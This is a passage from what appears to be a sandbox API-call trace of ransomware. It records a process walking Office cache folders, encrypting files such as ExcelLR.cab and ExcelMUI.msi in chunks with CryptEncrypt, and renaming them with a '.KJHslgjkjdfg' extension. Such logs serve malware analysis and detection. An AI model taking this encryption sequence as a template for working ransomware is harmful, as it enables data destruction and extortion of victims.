hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0144.998] GetProcessHeap () returned 0x990000 [0144.998] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22a) returned 0x9dfcc0 [0144.998] GetProcessHeap () returned 0x990000 [0144.998] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c) returned 0x9af7b0 [0144.998] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0145.007] GetProcessHeap () returned 0x990000 [0145.007] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0145.007] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.009] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0145.009] GetProcessHeap () returned 0x990000 [0145.009] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x23e) returned 0x9dc3c8 [0145.009] GetProcessHeap () returned 0x990000 [0145.009] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9dfef8 [0145.009] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0145.012] GetProcessHeap () returned 0x990000 [0145.012] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfef8 | out: hHeap=0x990000) returned 1 [0145.012] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.012] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0145.012] GetProcessHeap () returned 0x990000 [0145.012] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0145.012] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0145.024] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=16972987) returned 1 [0145.024] GetProcessHeap () returned 0x990000 [0145.024] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0145.024] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0145.024] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.024] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x5, lpOverlapped=0x0) returned 1 [0145.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0145.028] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0145.028] GetProcessHeap () returned 0x990000 [0145.028] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0145.028] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0145.028] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0145.028] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0145.028] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0145.028] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0145.028] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0145.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0145.029] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0145.029] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0145.029] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0145.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0145.029] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0145.043] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0145.046] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.046] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0145.047] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.047] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0145.047] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0145.047] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0145.053] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0145.056] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.056] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0145.057] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.057] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0145.057] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfefcc0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0145.057] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0145.100] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0145.104] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfefcc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.104] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0145.105] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.105] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0145.105] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0145.105] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.105] SetEndOfFile (hFile=0x124) returned 1 [0145.108] GetProcessHeap () returned 0x990000 [0145.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0145.108] GetProcessHeap () returned 0x990000 [0145.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0145.108] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.kjhslgjkjdfg")) returned 1 [0145.118] CloseHandle (hObject=0x124) returned 1 [0146.085] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0146.085] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.299] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2506240) returned 1 [0146.304] GetProcessHeap () returned 0x990000 [0146.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.304] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.304] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.304] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.304] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.304] GetProcessHeap () returned 0x990000 [0146.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0146.304] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0146.305] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.305] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0146.329] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0146.329] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0146.330] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0146.330] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.330] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0146.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.330] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.330] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.330] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.335] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.339] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.339] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.340] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.340] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.352] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.355] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.355] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.357] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.357] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.357] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.357] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.380] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.383] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.383] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.384] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.385] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.385] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.385] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.385] SetEndOfFile (hFile=0x124) returned 1 [0146.389] GetProcessHeap () returned 0x990000 [0146.389] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0146.389] GetProcessHeap () returned 0x990000 [0146.389] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.389] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.kjhslgjkjdfg")) returned 1 [0146.390] CloseHandle (hObject=0x124) returned 1 [0146.390] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0146.390] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.390] GetProcessHeap () returned 0x990000 [0146.390] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.390] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.390] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0146.390] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x3, lpOverlapped=0x0) returned 1 [0146.392] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.392] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.392] GetProcessHeap () returned 0x990000 [0146.393] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0146.393] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, 